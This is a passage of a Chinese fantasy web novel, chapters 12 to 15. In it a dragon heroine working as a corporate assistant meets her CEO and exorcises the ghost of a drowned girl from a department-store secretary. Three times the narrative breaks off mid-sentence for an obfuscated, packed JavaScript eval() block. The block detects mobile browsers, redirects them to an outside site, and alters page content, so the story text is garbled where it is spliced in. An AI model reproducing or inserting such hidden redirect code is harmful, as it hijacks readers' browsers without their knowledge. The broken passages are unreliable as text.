“小错可以小惩大戒,保密制度是集团的红线,如果不能严厉处罚,以儆效尤,以后保密规矩岂不是形同虚设!”来思齐大秘道:“各位作为总办人员,职责重大,希望能引以为戒,不要再犯!” 众人连声称是。 “应助理,你跟我来一趟。”她说:“你举报的骚扰事件,需要提交道德委员会处理。请放心,远潮集团重视内部作风,对职场骚扰绝对零容忍。” “好嘞。”应真潇看了一眼脸色灰败的吴青山,笑眯眯道:“我相信公司会秉公处理。” 12. 当龙王 12 等应真潇配合完道德委员会的调查工作,回到顶楼时,吴青山已经抱着东西准备离开了,脸色青白交加,如同一只斗败的公鸡。 “我被开除了,你满意了吧!”见到应真潇,他咬着牙:“臭婊子,你给我等着!” 应真潇挑眉,双手一摊:“我有什么满不满意的?祸福无门,为人所召,吴青山,你最好多反思反思自己,否则,以后还多的是麻烦。” “你算什么东西?”吴青山冷笑:“也配说教我。” 钱佳妮跑过来,警惕地护住应真潇:“你、你还是赶紧走吧你,你现在已经不是总办的人了,再不走,等下看到机密文件,小心公司起诉你!” 看得出来,她不常放这样的狠话,软绵绵的;但吴青山确实投鼠忌器,恨恨地看了两人一眼,抱着东西走了。 “终于走了。”钱佳妮松了一口气,拉着应真潇回办公桌,碎碎念:“这家伙以前只是有点装腔作势,还算个正常人;自打梁助病休,来总指派他当临时总助之后,就越发讨厌了!” 这点应真潇看出来了,吴青山被开除,会议上那么多人,连个给他说话的人都没有,走的时候也是孤孤零零——应真潇从气象局离职的时候,同事们可还给她践行呢。 “天天端着个秘书长的架子,二五八万的,拿着鸡毛当令箭,梁助都没他能装,这下好了,鸡毛掉一地,扫把都没得当了,果然是德不配位,穿上龙袍也……” 她突然意识到这话有含沙射影的嫌疑,又赶紧闭上了嘴,讪讪道:“那什么,潇潇,刚才谢谢你啊,帮我说话。” 应真潇觉得她挺可爱的,忍不住笑道:“你那么讲义气,愿意帮我顶锅,我总不能掉链子。” “不管怎么说,还是多谢了。”钱佳妮拍了拍胸口:“今天中午我请你吃饭,别客气。” 有来思齐的人盯着,人事效率极高,不到午餐时间,就公示了开除吴青山的消息,陈列的违纪事项,包括故意让实习生接触保密文件、假公济私报复同事、依仗职务骚扰女同事。 远潮的制度很规范,除了严谨的文字声明,还公布了相应视频、音频证据,令人信服。 钱佳妮拉着应真潇去食堂吃饭时,以及有人在议论这件事了。 “你听说了吗?来总的人把总办的代理大秘开了……” “那个人确实好离谱啊,简直有病。” “离谱归离谱,但时间点确实耐人寻味,感觉有点像借题发挥,给陆总一个下马威。” “不好说,风雨欲来啊……” 应真潇:…… 半天时间就传成这样了,人类的八卦欲和好奇心啊:) 下午,钱佳妮让应真潇去市场部跑个程序:“这个是二级文件,你放心,绝对不违规。流程很简单的,你要是有问题,随时call我。” 绩效工资差点泡汤之后,她现在慎之又慎了。 应真潇哭笑不得:“行。” 她拿着文件下楼,很快就把工作处理好了,乘电梯回顶楼。 “叮”的一声,电梯到了。 金属门向两侧滑开,清新冷冽,如同高山融水的浅淡香气迎面扑来,应真潇下意识抬头,撞进一双清冷平静的眼眸。 …… 整个世界突然被静音,眼前的场景不断折叠下陷,最终坍缩成英俊的脸上,画龙点睛般的漂亮双眸。 应真潇一错不错地凝视着陆雁书的眼睛。 瞳仁漆黑,巩膜瓷白,黑白分明的睛珠,覆着平静的水光,犹如秋后的水潭,水面上是澄清的薄冰,水面下是平静的潭水,清冷深邃。 可上次见分明不是这样的,那时他定定地看着自己,莹润的双眸水光潋滟,就像每岁初春涨水,碧波里翻涌着欲语还休的话,遇着春雷过隙的轰鸣,便化成泪珠滚落下来。 她一个激灵,后颈忍不住颤栗,就好像温热的泪滴兀地落在上面,惊起一滩鸥鹭。 眼前的场景随之一变,变成熟悉的大学教室,教授生理学与人类文明的老师侃侃而谈:“交感神经是控制人类战斗或逃跑反应的核心,它的暴动会引发一系列生理变化。” “瞳孔扩散、血液重分配、汗腺受激活跃、支气管剧烈扩张、代谢爆发、肌肉震颤,你的身体做好了战斗或是逃跑的准备。” “精神层面,前额叶皮层活动抑制,注意力聚焦于威胁源导致认知窄化;杏仁核过度活跃导致感知错乱、身体解离、胡思乱想。” 有人举手起哄:“老师,我看到我女朋友也这样,但是我既不想战斗,也不想逃跑怎么办?” 人群爆发出哄笑,老师喝了一口茶,慢悠悠道:“同学们,交感神经的暴动,就是生命最原始的诗篇。” “紧张是神经元活动产生的电信号,本质是一种低频电磁波;而通过每毫秒能传递将近一比特信息的有髓鞘神经纤维,微观层面的情感在肉体凡胎中显形。” “换句话说,爱是微观的,但爱你是宏观的。你看到对象,交感神经就兴奋起来了,不是想战斗,也不是想逃跑,那你老实交代,是不是想亲ta?” 胡说,应真潇下意识否认,她既不想亲陆雁书,也没有感到紧张,只是有点猝不及防。 都怪这家伙漂亮得晃眼,而龙族又恰好有一双发现美的眼睛。 “应小姐?”一道男声响起:“您还好吗?” 应真潇思绪中断,循着声音来源,才发现陆雁书身边竟然还有个男人,秘书打扮,身材高大,按理说很有存在感,可她刚才竟然没有发现。 她朝那人笑笑,若无其事走进电梯:“刚才在想事情,抱歉。” 脚步无端有些虚浮,就像运动过量后双腿失去控制,轻飘飘的,落不到实处。 “您没事就好。”说完,男人看向陆雁书,两人显然都已获知应真潇的身份。 本该寒暄的场面,因为陆雁书不合时宜的沉默,显得有些尴尬。 电梯门合上,密闭的空间里,浅淡的香气存在感又浓了一些。 应真潇后知后觉地发现,自己手心一层薄汗,飘忽的眼神,下意识地看向罪魁祸首,却发现罪魁祸首也在看她。 ——当你在凝视深渊的时候,深渊也在凝视你。 应真潇脑子里无端响起这句抑扬顿挫的旁白。 陆雁书似乎察觉到了她的注视,深邃双眸水光微漾,似乎下定了某种决心,嘴唇微动,张口欲言。 “陆总,”应真潇嘴比脑子快:“秘书办能开实习证明吗?” 陆雁书:……? 他沉默了一会儿,声音清冷平静:“你要实习证明干什么?” “……申请职工宿舍啊。”应真潇毕竟是见过大世面的龙,大头又战胜了舌头,镇静道:“我听带教老师说,试用期要开在实习证明才能申请。” 应真潇现在住的快捷酒店,包月要三千块,离公司还远,通勤要在高峰时段,挤江城最繁忙的死亡四号线,性价比一下子就低了。 但要是在公司附近找地方住,这个地段的住宿价格,翻一倍都打不住。 她面试的时候就知道,远潮有员工宿舍,作为员工福利,又便宜又近,本来是打算直接住宿舍的;结果入职时一打听,钱佳妮说,她暂时不符合条件: 远潮有甲乙两类宿舍,甲类宿舍转正后才能申请,乙类供应届生实习或校招试用期申请,需提供加盖部门公章的在实习证明,属于远潮应届生就业帮扶的一部分。 而应真潇,是尚处在试用期的社招人士,完美卡在了两类申请的中间。 一想到高额的房费,或是连挤三个月早高峰四号线,她立马把刚才的尴尬抛诸脑后:“……所以,可以吗,陆总?” “可以。”陆雁书淡淡应了一句,但他一向不管这些庶务,看向身边秘书模样的男人:“梁博,你去办。” 梁助理沉稳点头:“应小姐,证明可以开。但是据我了解,目前公司宿舍员额紧张,申请排期可能较长,具体情况,等我和后勤部门沟通后,再给您答复。” “行。”应真潇点头,叮嘱道:“梁助,在公司称职务就可以了,不要用敬称,我是来上班的。” 梁博微笑:“……好的,应助。” 电梯内又陷入了沉默,应真潇总觉得气氛怪怪的。 主要是陆雁书怪怪的,但是哪里怪她又说不上来:说他盯着自己看吧,眼神又很平静,仿佛只是寻常的礼貌对视,令她怀疑自己视线的游移,是自作多情;但是说没盯着,他又确实一直在看自己。 这正常吗?陆雁书平时也这么盯着人看?资本家的视线增压大法? 应真潇不太自在,没话找话:“陆总,你身上的香水味道好独特,方便透露一下品牌吗?” 这倒不是奉承,应真潇确实觉得陆雁书身上好香,之前在海底她就感觉到了,但那是一种极为浅淡的香气,很难用香水调性去描述。 不是花香、不是柑橘、不是海水调,非要说的话,应真潇认为那是一种纯粹的水的味道,有时像涨水的春溪,有时又像肃杀的秋潭。 水有味道这件事,对人类而言或许听起来天方夜谭,但对于龙族来说确实如此;不过应真潇现在是人类的身体,她猜应该是陆雁书用的香水比较高级,确实好闻,导致自己产生了心理幻觉。 “没用香水。”陆雁书平静道。 应真潇:“嗯?” 梁博解释:“应小姐,陆总下午要去市里参加会议,政府会议一般不使用香水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447590|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “哦,不是香水啊。”应真潇恍然大悟,点点头,真情实感地赞美:“果然是一分钱一分货,味道比我的绿月亮好闻多了,高级!” 陆雁书平静的目光转向梁博。 梁博尽职尽责:“陆总,绿月亮是洗衣液品牌的名字。” 陆雁书点点头,目光又转了回去。 用后即丢的梁博:…… 他想起了女朋友给他看的影视剪辑,太监总管问皇帝a还是b,皇帝什么反应都没有,大太监却心领神会,说选c。 抛开这种不妙的代入感,陆总今天也确实奇怪——准确的说,是进入电梯后才开始变得奇怪的。 一是奇怪的沉默,陆总平时确实沉稳,但那主要体现在不说闲话,该说的话,无论是客套还是指令,都不会不说,在社交场合,偶尔还有一两句玩笑话,并不需要他揣摩圣心。 其次是视线,陆总平时有这么爱盯着人看吗?在梁博印象里,除了交流时,他很少和人对视,大部分时间只是看着前方,沉默平静。 有时,梁博甚至会产生“陆总其实是人工智能,不给指令就不响应”的诡异错觉。 “叮”的一声,电梯到达了顶楼。 门一打开,外面整整齐齐地列着两排人,齐声道:“欢迎陆总回公司。” 我去,这什么龙王归来剧情,应真潇有点想笑,但是憋住了,连忙往角落一躲,把舞台留给龙……啊不,陆总。 亲眼目睹她迅捷动作的陆雁书:…… 他毕竟训练有素,遇事沉着冷静,走出电梯,轻轻抬手,颔首致意:“多谢。这段时间辛苦诸位了。” 正如工蜂会自发选出新的蜂王,吴青山走后,训练有素的秘书团也没有群龙无首,另一位资历较高的秘书暂时接任了吴青山的岗位,上前汇报近况,以及吴青山被开除的事情。 “来总已经向我通报了。”陆雁书平静道:“希望各位引以为戒,严格遵守集团的保密制度,不要把个人的情绪带到工作中来。” 秘书们齐声应是,应真潇趁此机会,溜到队伍末尾,朝陆雁书比了个OK的手势。 陆雁书:…… 他沉默了一下,不知道是怎么理解她手势的,走向办公室:“大家回去工作吧。梁博,整理好我病休期间的工作事项,半个小时后汇报。” 短暂的欢迎仪式结束,办公室又恢复了往常的有条不紊。 权力交接丝滑顺利,众人想象中的世界大战并未爆发,钱佳妮露出松了口气又隐约失望的表情:“哎。” 怕被波及是真的,可想吃瓜的心也是真的啊。 应真潇欲言又止,只好干巴巴地跟着她叹了口气:“……哎。” 满朝文武竟无一人知晓实情,她表示遗憾。 陆雁书在集团呆了两个多小时,连着开了两场会后,又要出发去市里开会,临行前,点了应真潇陪同与会。 倒不是为难新人,而是确实需要她去做分析报告,好在前任身残志坚,人在医院躺,提前做好了分析报告和ppt,应真潇去念个稿子就行。 座谈会后还有闭门会谈,对接的是发改委的曾副主任。 会议开始前,曾副主任的秘书欲言又止,叹了口气,提点陆雁书:“陆先生,曾副主任最近身体不太好,如果会议有突发情况,请您多担待。” 陆雁书淡淡应了一句。 很快,曾副主任就走路带风地进来了,是一位沉稳干练的女同志:“小陆,身体已经完全恢复了吧?” “劳您记挂。”陆雁书点点头:“没有大碍了。” 曾副主任露出温和的笑容:“那就好。” 会议进入正题,无所事事的应真潇一边坐姿端正,露出营业微笑,尽职尽责扮演花瓶,一边观察曾副主任,不动声色。 她干练务实,说话直指问题核心,意见很有建设性,确实是能力拔群的有为中年,难怪四十五岁的年纪,就能做到这个位置。 但有了秘书起先的话,应真潇还是注意到了一些细微的不对劲。 曾副主任笑容温和从容,但眉宇间深藏着悲伤和疲惫,头发应该是匆匆染的,不知是技术没到位还是染发剂没干,外层的黑发里掩映着灰白的头发。 会议持续了半个小时,结果还算满意,曾副主任起身,和陆雁书握手:“那行,今天就先到这里。相关的文件,我让秘书整理出来,再和你详谈。” 陆雁书和她握手告辞,一行人一同离开,应真潇落在最后,走到走廊拐角处时,突然听到秘书惊呼一声:“主任——” 会议室里顿时乱作一团,应真潇往后一瞥,发现曾副主任晕倒在地。 下一秒,会议室大门闭合,阻隔了外界的视线。 13. 当龙王 13 离开时,应真潇敏锐的发现,陆雁书换了辆车。 资本家车多很正常,她也没放在心上,上车后顺嘴问:“陆总,我们现在回公司吗?” “下午陪同参加会议,没有重要工作的话,都不用再回公司了。”梁博一边系安全带,一边给应真潇答疑解惑。 应真潇点点头,她懂了,就像上午最后一节是体育课可以提前去食堂,这是外勤的福利。 陆雁书敲了敲扶手,淡声道:“你住在哪里?先送你回去。” “那多不好意思。”应真潇嘴上客套一句,利索地报上酒店地址,快到晚高峰了,她一点也不想挤地铁。 陆雁书的司机将她送到酒店门口,下车时,梁博也跟了下来:“应助理留步。” 他从后备箱拿出一个大袋子,递给应真潇:“里面是陆总近一年用过的所有香水产品,以及陆总的洗衣液。” 应真潇忍不住笑了起来,她接过沉甸甸的袋子,绕到车的另一边,敲了敲陆雁书的车窗。 陆雁书降下车窗,安静地看着她。 “谢谢你哦,陆总。”她弯着腰,举了举手中的袋子,笑得眉眼弯弯,心情极好:“明天见。” “……明天见。” 等她步伐轻快地走进酒店大门,劳斯莱斯汇入车流,陆雁书将平板电脑架在腿上,双眸看着屏幕上的报告,平静,却有些失神。 他不知道梦中人的具体样貌,只依稀记得那是个貌美的女子;当他翻看那些被旁人称为绝色的女人的照片,试图找到线索时,只觉得她们在那人面前都如此黯然。 而见到应真潇时,他却产生了正该如此的念头。 应真潇是她吗?如果是,她为何是个履历挑不出任何问题的凡人? 如果不是,他的心又因何而悸动? 陆雁书不知道。 他沉默了一会儿,抬头看向窗外,才发现路边的风景一点都没动:“怎么不开车?” “陆总,现在是晚高峰。”司机礼貌应道,复读导航上显示的文字:“当前距离远海澜岸十公里,预计通行时间两小时。” 陆雁书:…… …… 安置好陆雁书送的香水,应真潇揣着小崽出门,去百货商店取金镯子。 这个点本应是附近居民出来闲逛的时间,但百货商场内的人流比前天下午还要少,看着也更萎靡,一个个看着和快昏过去了一样。 就连理论上应该恒温的空调,都比前天下午更阴凉,寒气直往骨子里渗。 龙蛋又开始向右旋转。 应真潇拍了拍小崽:“不急。” 她走进金店。 …… 朱世巍是荣乐百货公司的总经理,两年前,他从父亲手里接过这座百货商场。 这里曾是老城区荣光的象征,不过随着城市中心的转移,这里的地理位置不再优越,也比不上新城区那些高端洋气的这Mall那都汇,日薄西山已成定局。 朱世巍自认没有本事,生意还能维持就行;父亲头年还和他吵,认为他不思进取,现在也懒得搭理他了,在家专心培养第三代,等第三代接班后东山再起。 不过,不进取归不进取,朱世巍守成还算努力,该他忙的,不推脱,比如今天。 看完文件,朱世巍抬起头来,扭了扭脖子,又捶着肩颈。 他最近总觉得身体不舒服,起初怀疑是肌肉劳损,但是去医院看了,医生又说没事,按摩和理疗也无法缓解,老爹嘲讽他,懒驴上磨屎尿多。 朱世巍一想也是,明明不是那块料子还得硬上,身体可不得报警吗?于是他立刻和自己和解了,决定再干几个月,找到合适的经理人就跑路。 气得老爹又骂他好吃懒做,死蟹一只。 想起老爹,朱世巍无所谓地耸耸肩,又打了个寒战。 好冷,是不是中央空调坏了? 恰巧秘书推门进来,他赶紧吩咐,叫人来维修。 “好的,朱总,”秘书嘴角带笑,弧度大得有些诡异,走到他桌边,放下一杯茶水:“您喝杯茶,暖暖。” 朱世巍打量她:“这空调是冷哈?小李,你都被吹面瘫了。” 秘书:…… “谢谢朱总关心。”秘书说话一字一顿,像是和声带第一天认识:“快喝吧,一会儿茶凉了,就不好喝了。” 瞧瞧,冻得说话都打抖,朱世巍举起茶杯正要喝,门又响了,只好放下茶杯:“请进。” 进来的是一位高挑美丽的女子,看着还有点脸熟:“你好,请问是朱经理吗?” 朱世巍想起来了,起身相迎:“对对对,是我。你是应、应小姐吧?” “我在新闻上见过你。”朱世巍做了个飞踢的动作,嘴里“嘿”的一声:“之前在鹭溪岛勇斗精神病的就是你吧?女侠好身手!” “……对,是我。”女人道。 随即,她说明了来意:前天,她在一楼的连锁金店购买了一只金镯子,需要调整,营业员说今天来取,可她到店的时候,店是开着的,却没有一个人在。 “这样啊。”朱世巍连忙请她坐下:“是不是去洗手间了?稍等,稍等,我联系一下帮你问问。应小姐你放心,您的镯子肯定不会有问题的。” 他印象里,应真潇是气象局的工作人员,没想到一出手就是十几万的金镯子,不过他是生意人,意外也不会表现在脸上。 朱世巍把没动过的茶水递给应真潇:“您先喝口茶暖和暖和,今天冷气坏了,室内有点冻。” 秘书陡然抬起头,看向她,眼神中藏着一抹怨毒。 朱世巍很快就打电话回来了,一楼的主管说金店的营业员去接镯子了,这会儿没接电话,应该很快就回来,让她稍等。 “那我就在这等等。”应真潇没有要走的意思,端起茶杯,却并没有喝,漫不经心:“正好来聊聊天。朱经理,你知道前阵子钱周桥有个小姑娘跳河溺亡的事情吗?” 钱周桥离百货商店不远,还是著名的旅游景点,朱世巍自然有所耳闻:“那事不是没下文了?我听说有人在封锁消息。哎哟,也真是可惜,年纪轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447591|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻的……唉。” 1925年以前,钱周桥叫前舟桥,名字仅仅代表,它是白云渡地区的两座桥中,位置更东的一座。 1925年,本地富户钱氏、周氏的一对男女因为被父母拆散,强行包办婚姻,私奔后又被抓回来,在此相约投水殉情。 时值社会动荡,新旧道德冲突,此事引发了极大的社会反响,被称为“本时代之梁山伯与祝英台”。 政府为显示开明,宣称要依照新制法律,追究两家父母逼死儿女的罪责,却把案件交还宗族,而宗老判决双方父母无罪,是儿女不孝,不得葬入祖坟。 此后冲突加剧,大量新派文人发文批判——不乏一些现在出现在语文教材上的名师大家;学生们自发聚集,用朱砂在桥身书写“不自由毋宁死”。 以此为契机,新道德运动发展至高潮,一时之间,江城内女性剪发放足者、青年自由恋爱结婚者大增,因此,政府将前舟桥改名为钱周桥,以纪念以死明志,冲破樊笼的钱周两人。 不过高尚的思想往往难逃庸俗化的下场,此后一个世纪,钱周桥成了著名的殉情之地,隔三差五,就有痴男怨女跑来跳桥,以至于政府特意增派了人手管理劝导,但百密一疏——预防的哪里拦得住找死的。 “是啊,还真是不值得。不过,我听说有些溺死鬼会上岸找替身,真是害人害己啊。”应真潇盯着秘书:“秘书小姐,你说是吧?” 秘书脸上的笑容一滞,过了一会儿,才怪腔怪调道:“妄言鬼神之事,应小姐就不怕江水里的冤魂听了,来找你麻烦吗?” “害人精就该多泡泡。”应真潇道:“水行柔弱而无不破,居卑下而涵育众生,是大道慈悲的显化,身入澄波,有助于害人精消除妄心,念念归真,下辈子洗心革面,重新做人。” 秘书:…… 她漆黑的瞳仁逐渐扩大,挤压眼白的空间。 朱世巍感觉不对,连忙打圆场,挪开话题:“看来应小姐对道学颇有研究,难怪会买……不是,请这尊龙角手镯。我听说,这个镯子很吉利。” 他也纳闷,李秘书平时挺有眼色的,客户也没说什么难听的话,今天怎么突然杠起来了。 “广告词并未夸大。”应真潇转了一圈手里的杯子,漫不经心:“镯子确实值这个价。” 朱世巍恭维道:“是是是,您还是识货,眼光不凡……” “不。”应真潇淡淡道:“我是说,镯子确实开过光。” 说完,她把手里的茶水兜头泼到秘书身上,语气严厉:“还不出来!” 灯管突然开始疯狂闪烁,屋内猛然涌起一阵黑气,尖啸声响起,分外恐怖。 朱世巍这下回过味来了,大惊失色,连滚带爬地躲到应真潇身后:“应应应应应小姐!救命啊!” 应真潇:…… 她看向“李秘书”:“怨气侵人已是重罪,附身夺舍罪加一等,我劝你迷途知返,否则——” “李秘书”双眼变得漆黑,流出血泪,咧嘴一笑:“我要是说不呢?你能拿我怎么办?” 14. 当龙王 14 “那你完了。”应真潇从包里拿出手机:“我打电话告诉你妈妈。” 她报出一串电话号码:“曾女士,是吧?” “李秘书”:…… 室内的黑雾蓦然一淡,声光特效立刻停了下来,突然得有些滑稽,抖个不停的朱世巍缩了缩脖子,一时拿不准自己还要不要继续抖。 “还不出来?”应真潇指尖按在拨通键上,威胁道:“那我可真打了。” “李秘书”沉默了一会儿,随即身子一软;随着李秘书倒下,一个虚虚的身影浮现在面前。 浑身肿胀漆黑,看不出五官面貌,皮肤的龟裂之处不停地往外淌血,朱世巍骇得一屁股坐在地上:“卧槽!” 应真潇把龙蛋抡到女鬼头上,无语:“变点人样出来,你想吓死谁啊?别以为我不知道,你根本不长这样。” 龙蛋把女鬼的头砸得凹进去一大块,接触处发出“滋啦”声,如同冷水泼进热油,在肉眼凡胎看不见的维度,女鬼身上的漆黑雾气消散了许多。 随后龙蛋掉在地上,又咕噜咕噜滚回应真潇脚底下。 朱世巍绝望地看着这一幕,好想晕过去啊。 女鬼吃痛,“哎哟”一声,凶戾的眼神却变得清澈了,些许茫然后,不敢再造次,摇身一变,变成正常的样子。 是一个清秀漂亮的年轻女孩,浑身滴答着水,撅着嘴,看着不太情愿,如果忽略漆黑的双眸、紫色的嘴唇以及惨白的皮肤这些非人的特征,倒没有多恐怖。 “你怎么知道我妈妈电话?”女鬼问。 应真潇:“你自己说的。” 她到了金店之后,发现门开着,人却没了踪影,立马意识到了不对劲,循着水鬼的阴气追到了顶楼。 办公室阴气尤其重,以至于电路都开始失灵,灯管不时闪烁;工位上没有人在,手机却亮着。 应真潇拿起手机,发现上面有明显不对劲的操作痕迹,一是搜索前几天发生的跳河新闻,二是给一个陌生电话发消息: 【曾照云同志,看到请回复】 【妈妈,是我】 【我是苗苗】 【对不起】 死鬼附身活人,阴气太盛影响了信号,后面几条都没能发出去。 应真潇敲了敲桌子,又扬了扬手上的龙蛋:“老实交代,坦白从宽!” 女鬼缩了缩脖子,小声交代了自己的来历。 她就是前阵子那个新闻里的死者,但是强调“我不是真心跳桥的,但是我当时跟着了魔一样,那个人渣——就是我男朋友让我跳,我就跳了,死了之后,一下子就清醒过来了”。 听着像是有不科学因素,应真潇皱眉:“你男朋友是谁?” 女鬼:“郑宇俊。” 应真潇:…… 难怪上次见面,这家伙一脸死相,女鬼要找他索命了,可不是死期快到了吗? 不过这家伙到底是怎么害人跳桥的,是不是还有其他受害者? 应真潇脸色一沉,拿出手机给组长发了条信息,问他郑宇俊的近况:“我知道了,你继续交代。” 女鬼便继续说,她死了之后怨气冲天,但是刚死当鬼还不熟练,力量也不够,只能附身在人渣送她的项链上;没想到人渣还把项链偷出来卖了,卖给了百货公司的一家古着店。 女鬼被束缚在项链附近,想闹鬼,但是之前摄于龙女断角镯子上的神力,没敢造次;等应真潇下了订单,镯子离开百货公司,她才找到机会作祟,今天附身了李秘书,结果消息发送失败,然后决定附身朱世巍。 听完女鬼的故事,朱世巍不由得面露同情;可想起刚才的情形,他又笑不出来了,躲在应真潇身后,表情纠结:“小、小姐,我很同情你,但是你为什么害我啊?我应该没有招惹你吧?” “我没有害你,”女鬼说:“只是借用一下你的身体,去办点事。” 朱世巍纳闷:“你不是已经上了小李的身了吗?等等,我不是说你上她身就对,但是你都上她身了,还上我身干嘛?” 女鬼:“你是大老板,一般人见不到我妈妈。” 应真潇:“你妈妈是谁?” 女鬼又沉默了,看着地面,脚尖不安地搓了搓,看起来十分心虚。 “做的时候胆子挺大,这会儿装什么死?”应真潇教训她。 女鬼小声:“我没装死。” 应真潇:…… 鬼丫头还有点幽默在身上,她无语:“给活人喝你的尸水,轻则大病一场,重则立刻暴毙,你不会不知道吧?还说自己没害人!也就是我心善,及时拦着你,等你真的犯下大错,到了阴司,说什么都没用了。” 鬼并不只是人的延续,怨气越重,就越是扭曲,不管生前有多温柔善良,死后都会不惜一切代价,去完成自己的执念。 而这家伙怨气冲天,什么冒天下之大不韪的事情都敢做,她刚才用龙蛋砸女鬼,除了教训她,还有打醒她的意思在。 就现状来看,物理疗法疗效显著,不单灵台清明,神志清醒了,连羞耻心都回来了。 女鬼不敢吱声。 朱世巍脸色惨白,有点想吐:“应应应小姐,哦不是,应大仙,她刚才给我喝的是尸水啊?!” “其实就是长江水,”应真潇安慰他:“想开点,长江一年不知道要淹死多少人,还有各种鱼虾粪便、化工污水、生活废料,净化完了还不是一样的喝,更何况你还没喝。” 朱世巍:…… 更想吐了! …… 拷问完案件经过,应真潇叫了120来,把惨遭上身的秘书送去医院,又提出,她把女鬼带走。 朱世巍求之不得,连忙去古着店把项链拿了回来,捧着盒子的手哆嗦个不停,总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447592|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得这个项链很恐怖:“您、您请。” 这古着店是他夫人开的,原先的商铺撤了,招不到商,干脆自己开个店,说是奢侈品古着,其实在他看来就是卖二手,本来他就觉得不靠谱,这下是说什么也不能让开了——差点把鬼都招上身了! 应真潇觉得好笑,接过项链:“这个多少钱?” “不要钱,不要钱!”朱世巍连连摇头,谁敢找鬼收钱啊,他甚至恨不得花点钱把女鬼打发走:“就当是我送给应大仙,和这、这位小姐的。” “谁告诉是我给钱?”应真潇诧异:“你把项链钱,还有这段时间的营业损失算一下,我回头叫她妈妈给你。” 朱世巍迟疑:“……这、这,死者为大,要不还是算了吧。” “你说算了,阴司又不会就那么算了。还钱也算了结因果,就像人间花钱买谅解一样,回头这家伙还能少判几年。”应真潇看着女鬼,笑得很风凉:“哇,养老金消消乐哦。” 女鬼:…… 她撅着嘴,一怒之下怒了一下。 正巧此时,金店的营业员也回来了,一楼的主管带她来找办公室找应真潇,女鬼连忙隐去身形。 “真是不好意思,应小姐。”营业员连连道歉:“我今天去总部的时候,刚出门就低血糖晕过去了,在医院躺了半天,一个小时前才恢复,赶紧去把镯子拿回来了,让您久等了。” 应真潇接过镯子:“人没事就好,朱总,你们这员工是不是太疲劳了,得给她放几天假啊。” 说完,她凉飕飕地看了女鬼一眼。 女鬼心虚,脑袋埋得低低的,一不小心掉了下来,她赶紧把头捡起来,安装回去。 朱世巍痛苦地挪开眼睛:“知道了,知道了。小刘啊,你这种敬业的精神值得嘉奖,这样,你去跟你们老板说,让他给你开半个月的带薪假,我这边还有额外的奖励。” 营业员喜出望外,连连道谢后离开了。 “应小姐,”朱世巍得知镯子竟然真的有效,心思不由得活络了起来:“您是高人,这镯子对您是锦上添花,但是对我那可就是雪中送炭了,要不我出两百万,您把镯子割爱给我吧。” 小崽着急得转了起来! 应真潇安抚住他,对朱世巍:“那不行。你要是害怕,可以去崇真观看看,有没有合适的法器。” “其实也没什么好怕的,”她安慰道:“不做亏心事,不怕鬼敲门,行得端坐得直,被鬼害的概率还是很小的。” 朱世巍幽怨地看着她,这么小的概率不还是被他这个倒霉鬼碰上了么。 不过应真潇不肯割爱,他也无法强迫,只能盘算着回头去崇真观问问,最好再想想办法,托人弄个龙女联名法器来。 “那行,应小姐,”他不太敢看边上的女鬼,生怕脑袋又突然掉下来:“还有这、这位小姐,我送送你们。” 15. 当龙王 15 一龙一蛋一鬼从商场出来,天从擦黑变成了全黑。 应真潇拐进附近的小巷,到熟悉的小店要了一份鸡腿套餐——便宜量大管饱,她还在气象局时常吃。 以前同事戏称其为月末生命体征维持餐,这下应真潇尝不出味道,真成生命体征维持餐了。 这无味的龙生啊,应真潇唏嘘不已,拦住老板往打包袋里继续加饭的动作:“阿姨,一盒就够了。” “姨还不知道你的饭量。”老板嗔怪:“不准跟姨客气。” 小店主营菜饭骨头汤,菜饭堂食不限量,打包外卖只有一盒,再多就要加钱,应真潇常来,老板对她格外照顾,看到她点外卖,一般都多送一盒饭,有时还送个卤蛋、香肠。 应真潇承情,所以每次点外卖都额外点个卤鸡腿。 想到以前,应真潇摇摇头,笑道:“没客气,阿姨,我一会儿还要吃别的呢。” 老板将信将疑,装了个卤蛋放进袋子,递给她,叮嘱道:“不够了再来加,姨不收你饭钱。” 应真潇笑着接过打包袋:“好。” 买好菜饭,她又晃进附近的便利店,直奔甜品区,刚要伸手,女鬼凑过来出谋划策:“别买葡萄味的,不好吃,齁甜,香精味重,你买巧克力的,巧克力的好吃。” 应真潇看了她一眼。 “……咳。”女鬼讪讪:“就,提个建议。” 应真潇扑哧一笑,便利店里有别人,她没回女鬼的话,拿了两个巧克力口味的冰皮蛋糕,去柜台结账。 